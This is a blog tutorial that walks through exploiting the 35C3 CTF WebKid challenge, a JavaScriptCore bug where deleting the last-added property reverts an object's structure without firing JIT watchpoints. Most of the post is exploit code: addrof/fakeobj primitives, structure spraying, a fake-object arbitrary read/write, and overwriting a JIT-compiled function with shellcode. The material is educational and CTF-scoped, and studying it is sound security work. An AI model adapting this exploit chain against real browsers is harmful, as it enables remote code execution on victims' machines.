Webkit Exploitation Tutorial(Part 4): Starting Exploit Code from A CTF Challenge

11 minute read

Preparation

Before we start exploiting bugs, we should look at how difficult it is to write an exploit. We focus on exploit code writing here, the detail of the vulnerability will not be introduced much.

This challenge is WebKid from 35c3 CTF. You can compile WebKit binary(with instructions), prepared VM, and get exploit code here. Also, a macOS Mojave (10.14.2) should be prepared in VM or real machine (I think it won’t affect crashes in different versions of macOS, but the attack primitive might be different).

Run via this command:

DYLD_LIBRARY_PATH=/Path/to/WebKid DYLD_FRAMEWORK_PATH=/Path/to/WebKid /Path/to/WebKid/MiniBrowser.app/Contents/MacOS/MiniBrowser

Remember to use FULL PATH. Otherwise the browser will crash

If running on local machine, remember to create /flag1 for testing.

Analyzing

Let’s look at the patch:

diff --git a/Source/JavaScriptCore/runtime/JSObject.cpp b/Source/JavaScriptCore/runtime/JSObject.cpp
index 20fcd4032ce..a75e4ef47ba 100644
--- a/Source/JavaScriptCore/runtime/JSObject.cpp
+++ b/Source/JavaScriptCore/runtime/JSObject.cpp
@@ -1920,6 +1920,31 @@ bool JSObject::hasPropertyGeneric(ExecState* exec, unsigned propertyName, Proper
     return const_cast<JSObject*>(this)->getPropertySlot(exec, propertyName, slot);
 }
 
+static bool tryDeletePropertyQuickly(VM& vm, JSObject* thisObject, Structure* structure, PropertyName propertyName, unsigned attributes, PropertyOffset offset)
+{
+    ASSERT(isInlineOffset(offset) || isOutOfLineOffset(offset));
+
+    Structure* previous = structure->previousID();
+    if (!previous)
+        return false;
+
+    unsigned unused;
+    bool isLastAddedProperty = !isValidOffset(previous->get(vm, propertyName, unused));
+    if (!isLastAddedProperty)
+        return false;
+
+    RELEASE_ASSERT(Structure::addPropertyTransition(vm, previous, propertyName, attributes, offset) == structure);
+
+    if (offset == firstOutOfLineOffset && !structure->hasIndexingHeader(thisObject)) {
+        ASSERT(!previous->hasIndexingHeader(thisObject) && structure->outOfLineCapacity() > 0 && previous->outOfLineCapacity() == 0);
+        thisObject->setButterfly(vm, nullptr);
+    }
+
+    thisObject->setStructure(vm, previous);
+
+    return true;
+}
+
 // ECMA 8.6.2.5
 bool JSObject::deleteProperty(JSCell* cell, ExecState* exec, PropertyName propertyName)
 {
@@ -1946,18 +1971,21 @@ bool JSObject::deleteProperty(JSCell* cell, ExecState* exec, PropertyName proper
 
     Structure* structure = thisObject->structure(vm);
 
-    bool propertyIsPresent = isValidOffset(structure->get(vm, propertyName, attributes));
+    PropertyOffset offset = structure->get(vm, propertyName, attributes);
+    bool propertyIsPresent = isValidOffset(offset);
     if (propertyIsPresent) {
         if (attributes & PropertyAttribute::DontDelete && vm.deletePropertyMode() != VM::DeletePropertyMode::IgnoreConfigurable)
             return false;
 
-        PropertyOffset offset;
-        if (structure->isUncacheableDictionary())
+        if (structure->isUncacheableDictionary()) {
             offset = structure->removePropertyWithoutTransition(vm, propertyName, [] (const ConcurrentJSLocker&, PropertyOffset) { });
-        else
-            thisObject->setStructure(vm, Structure::removePropertyTransition(vm, structure, propertyName, offset));
+        } else {
+            if (!tryDeletePropertyQuickly(vm, thisObject, structure, propertyName, attributes, offset)) {
+                thisObject->setStructure(vm, Structure::removePropertyTransition(vm, structure, propertyName, offset));
+            }
+        }
 
-        if (offset != invalidOffset)
+        if (offset != invalidOffset && (!isOutOfLineOffset(offset) || thisObject->butterfly()))
             thisObject->locationForOffset(offset)->clear();
     }
 
diff --git a/Source/WebKit/WebProcess/com.apple.WebProcess.sb.in b/Source/WebKit/WebProcess/com.apple.WebProcess.sb.in
index 536481ecd6a..62189fea227 100644
--- a/Source/WebKit/WebProcess/com.apple.WebProcess.sb.in
+++ b/Source/WebKit/WebProcess/com.apple.WebProcess.sb.in
@@ -25,6 +25,12 @@
 (deny default (with partial-symbolication))
 (allow system-audit file-read-metadata)
 
+(allow file-read* (literal "/flag1"))
+
+(allow mach-lookup (global-name "net.saelo.shelld"))
+(allow mach-lookup (global-name "net.saelo.capsd"))
+(allow mach-lookup (global-name "net.saelo.capsd.xpc"))
+
 #if PLATFORM(MAC) && __MAC_OS_X_VERSION_MIN_REQUIRED < 101300
 (import "system.sb")
 #else

The biggest problem here is about tryDeletePropertyQuickly function, which acted like this (comment provided from Linus Henze:

 static bool tryDeletePropertyQuickly(VM& vm, JSObject* thisObject, Structure* structure, PropertyName propertyName, unsigned attributes, PropertyOffset offset)
{
    // This assert will always be true as long as we're not passing an "invalid" offset
    ASSERT(isInlineOffset(offset) || isOutOfLineOffset(offset));

    // Try to get the previous structure of this object
    Structure* previous = structure->previousID();
    if (!previous)
        return false; // If it has none, stop here

    unsigned unused;
    // Check if the property we're deleting is the last one we added
    // This must be the case if the old structure doesn't have this property
    bool isLastAddedProperty = !isValidOffset(previous->get(vm, propertyName, unused));
    if (!isLastAddedProperty)
        return false; // Not the last property? Stop here and remove it using the normal way.

    // Assert that adding the property to the last structure would result in getting the current structure
    RELEASE_ASSERT(Structure::addPropertyTransition(vm, previous, propertyName, attributes, offset) == structure);

    // Uninteresting. Basically, this just deletes this objects Butterfly if it's not an array and we're asked to delete the last out-of-line property. The Butterfly then becomes useless because no property is stored in it, so we can delete it.
    if (offset == firstOutOfLineOffset && !structure->hasIndexingHeader(thisObject)) {
        ASSERT(!previous->hasIndexingHeader(thisObject) && structure->outOfLineCapacity() > 0 && previous->outOfLineCapacity() == 0);
        thisObject->setButterfly(vm, nullptr);
    }

    // Directly set the structure of this object
    thisObject->setStructure(vm, previous);

    return true;
}

In short, one object will fallback to previous structure ID by deleting an object added previously. For example:

var o = [1.1, 2.2, 3.3, 4.4];
// o is now an object with structure ID 122.
o.property = 42;
// o is now an object with structure ID 123. The structure is a leaf (has never transitioned)

function helper() {
     return o[0];
}
jitCompile(helper); // Running helper function many times
// In this case, the JIT compiler will choose to use a watchpoint instead of runtime checks
// when compiling the helper function. As such, it watches structure 123 for transitions.

delete o.property;
// o now "went back" to structure ID 122. The watchpoint was not fired.

Let’s review some knowledge first. In JSC, we have runtime type checks and watchpoint to ensure correct type conversion. After a function running many times, the JSC will not use structure check. Instead, it will replace it with watchpoint. When an object is modified, browser should trigger watchpoint to notify this change to fallback to JS interpreter and generate new JIT code.

Here, restoring to previous ID does not will not trigger watchpoint even though the structure has changed, which means the structure of butterfly pointer will also be changed. However, the JIT code generated by helper will not fallback since watchpoint is not trigged, leading to type confusion. And the JIT code can still access legacy butterfly structure. We can leak/create fake objects.

This is the minimum attack primitive:

haxxArray = [13.37, 73.31];
haxxArray.newProperty = 1337;

function returnElem() {
    return haxxArray[0];
}

function setElem(obj) {
    haxxArray[0] = obj;
}

for (var i = 0; i < 100000; i++) {
    returnElem();
    setElem(13.37);
}

delete haxxArray.newProperty;
haxxArray[0] = {};

function addrof(obj) {
    haxxArray[0] = obj;
    return returnElem();
}

function fakeobj(address) {
    setElem(address);
    return haxxArray[0];
}
// JIT code treat it as intereger, but it actually should be an object. 
// We can leak address from it
print(addrof({})); 
// Almost the same as above, but it's for write data
print(fakeobj(addrof({})));

Attack Utilities

The exploit script creates many utility function. They help us to create primitive which you need in almost every webkit exploit. We will only look at some important functions.

Getting Native Code

To attack, we need a native code function to write shellcode or ROP. Besides, functions will only be native code after running many times(this one is in pwn.js):

function jitCompile(f, ...args) {
    for (var i = 0; i < ITERATIONS; i++) {
        f(...args);
    }
}

function makeJITCompiledFunction() {
    // Some code that can be overwritten by the shellcode.
    function target(num) {
        for (var i = 2; i < num; i++) {
            if (num % i === 0) {
                return false;
            }
        }
        return true;
    }
    jitCompile(target, 123);

    return target;
}

Controlling Bytes

In the int64.js, we craft a class Int64. It uses Uint8Array to store number and create many related operations like add and sub. In the previous chapter, we mention that JavaScript uses tagged value to represent number, which means that you cannot control the higher byte. The Uint8Array array represents 8-bit unsigned integers just like native value, allowing us to control all 8 bytes.

Simple example usage of Uint8Array:

var x = new Uint8Array([17, -45.3]);
var y = new Uint8Array(x);
console.log(x[0]); 
// 17

console.log(x[1]); // value will be converted 8 bit unsigned integers
// 211 

It can be merged to a 16 byte array. The following shows us that Uint8Array store in native form clearly, because 0x0201 == 513:

a = new Uint8Array([1,2,3,4])
b = new  Uint16Array(a.buffer) 
// Uint16Array [513, 1027]

Remaining functions of Int64 are simulations of different operations. You can infer their implementations from their names and comments. Reading the codes is easy too.

Writing Exploiting

Detail about the Script

I add some comments from Saelo’s original writeup(most comments are still his work, great thanks!):

const ITERATIONS = 100000;

// A helper function returns function with native code
function jitCompile(f, ...args) {
    for (var i = 0; i < ITERATIONS; i++) {
        f(...args);
    }
}
jitCompile(function dummy() { return 42; });

// Return a function with native code, we will palce shellcode in this function later
function makeJITCompiledFunction() {

    // Some code that can be overwritten by the shellcode.
    function target(num) {
        for (var i = 2; i < num; i++) {
            if (num % i === 0) {
                return false;
            }
        }
        return true;
    }
    jitCompile(target, 123);

    return target;
}

function setup_addrof() {
    var o = [1.1, 2.2, 3.3, 4.4];
    o.addrof_property = 42;

    // JIT compiler will install a watchpoint to discard the
    // compiled code if the structure of |o| ever transitions
    // (a heuristic for |o| being modified). As such, there
    // won't be runtime checks in the generated code.
    function helper() {
        return o[0];
    }
    jitCompile(helper);

    // This will take the newly added fast-path, changing the structure
    // of |o| without the JIT code being deoptimized (because the structure
    // of |o| didn't transition, |o| went "back" to an existing structure).
    delete o.addrof_property;

    // Now we are free to modify the structure of |o| any way we like,
    // the JIT compiler won't notice (it's watching a now unrelated structure).
    o[0] = {};

    return function(obj) {
        o[0] = obj;
        return Int64.fromDouble(helper());
    };
}

function setup_fakeobj() {
    var o = [1.1, 2.2, 3.3, 4.4];
    o.fakeobj_property = 42;

    // Same as above, but write instead of read from the array.
    function helper(addr) {
        o[0] = addr;
    }
    jitCompile(helper, 13.37);

    delete o.fakeobj_property;
    o[0] = {};

    return function(addr) {
        helper(addr.asDouble());
        return o[0];
    };
}

function pwn() {
    var addrof = setup_addrof();
    var fakeobj = setup_fakeobj();

    // verify basic exploit primitives work.
    var addr = addrof({p: 0x1337});
    assert(fakeobj(addr).p == 0x1337, "addrof and/or fakeobj does not work");
    print('[+] exploit primitives working');


    // from saelo: spray structures to be able to predict their IDs.
    // from Auxy: I am not sure about why spraying. i change the code to:
    //
    // var structs = []
    // var i = 0;
    // var abc = [13.37];
    // abc.pointer = 1234;
    // abc['prop' + i] = 13.37;
    // structs.push(abc);
    // var victim = structs[0];
    //
    // and the payload still work stablely. It seems this action is redundant
    var structs = []
    for (var i = 0; i < 0x1000; ++i) {
        var array = [13.37];
        array.pointer = 1234;
        array['prop' + i] = 13.37;
        structs.push(array);
    }

    // take an array from somewhere in the middle so it is preceeded by non-null bytes which
    // will later be treated as the butterfly length.
    var victim = structs[0x800];
    print(`[+] victim @ ${addrof(victim)}`);

    // craft a fake object to modify victim
    var flags_double_array = new Int64("0x0108200700001000").asJSValue();
    var container = {
        header: flags_double_array,
        butterfly: victim
    };

    // create object having |victim| as butterfly.
    var containerAddr = addrof(container);
    print(`[+] container @ ${containerAddr}`);
    // add the offset to let compiler recognize fake structure
    var hax = fakeobj(Add(containerAddr, 0x10));
    // origButterfly is now based on the offset of **victim** 
    // because it becomes the new butterfly pointer
    // and hax[1] === victim.pointer
    var origButterfly = hax[1];

    var memory = {
        addrof: addrof,
        fakeobj: fakeobj,

        // Write an int64 to the given address.
        writeInt64(addr, int64) {
            hax[1] = Add(addr, 0x10).asDouble();
            victim.pointer = int64.asJSValue();
        },

        // Write a 2 byte integer to the given address. Corrupts 6 additional bytes after the written integer.
        write16(addr, value) {
            // Set butterfly of victim object and dereference.
            hax[1] = Add(addr, 0x10).asDouble();
            victim.pointer = value;
        },

        // Write a number of bytes to the given address. Corrupts 6 additional bytes after the end.
        write(addr, data) {
            while (data.length % 4 != 0)
                data.push(0);

            var bytes = new Uint8Array(data);
            var ints = new Uint16Array(bytes.buffer);

            for (var i = 0; i < ints.length; i++)
                this.write16(Add(addr, 2 * i), ints[i]);
        },

        // Read a 64 bit value. Only works for bit patterns that don't represent NaN.
        read64(addr) {
            // Set butterfly of victim object and dereference.
            hax[1] = Add(addr, 0x10).asDouble();
            return this.addrof(victim.pointer);
        },

        // Verify that memory read and write primitives work.
        test() {
            var v = {};
            var obj = {p: v};

            var addr = this.addrof(obj);
            assert(this.fakeobj(addr).p == v, "addrof and/or fakeobj does not work");

            var propertyAddr = Add(addr, 0x10);

            var value = this.read64(propertyAddr);
            assert(value.asDouble() == addrof(v).asDouble(), "read64 does not work");

            this.write16(propertyAddr, 0x1337);
            assert(obj.p == 0x1337, "write16 does not work");
        },
    };

    // Testing code, not related to exploit
    var plainObj = {};
    var header = memory.read64(addrof(plainObj));
    memory.writeInt64(memory.addrof(container), header);
    memory.test();
    print("[+] limited memory read/write working");

    // get targetd function
    var func = makeJITCompiledFunction();
    var funcAddr = memory.addrof(func);

    // change the JIT code to shellcode
    // offset addjustment is a little bit complicated here :P
    print(`[+] shellcode function object @ ${funcAddr}`);
    var executableAddr = memory.read64(Add(funcAddr, 24));
    print(`[+] executable instance @ ${executableAddr}`);
    var jitCodeObjAddr = memory.read64(Add(executableAddr, 24));
    print(`[+] JITCode instance @ ${jitCodeObjAddr}`);
    // var jitCodeAddr = memory.read64(Add(jitCodeObjAddr, 368));      // offset for debug builds
    // final JIT Code address
    var jitCodeAddr = memory.read64(Add(jitCodeObjAddr, 352));
    print(`[+] JITCode @ ${jitCodeAddr}`);

    var s = "A".repeat(64);
    var strAddr = addrof(s);
    var strData = Add(memory.read64(Add(strAddr, 16)), 20);
    shellcode.push(...strData.bytes());

    // write shellcode
    memory.write(jitCodeAddr, shellcode);

    // trigger shellcode
    var res = func();

    var flag = s.split('\n')[0];
    if (typeof(alert) !== 'undefined')
        alert(flag);
    print(flag);
}

if (typeof(window) === 'undefined')
    pwn();

Conclusion

To conclude, the exploit uses two most important attack primitive - addrof and fakeobj - to leak and craft. A JITed function is leaked and overwritten with our shellcode array. Then we called the function to leak flag. Almost all the browser exploits follow this form.

Thanks 35C3 CTF organizers especially Saelo. It’s a great challenge to learn WebKit type confusion. The next post will be debugging the WebKit.

Leave a comment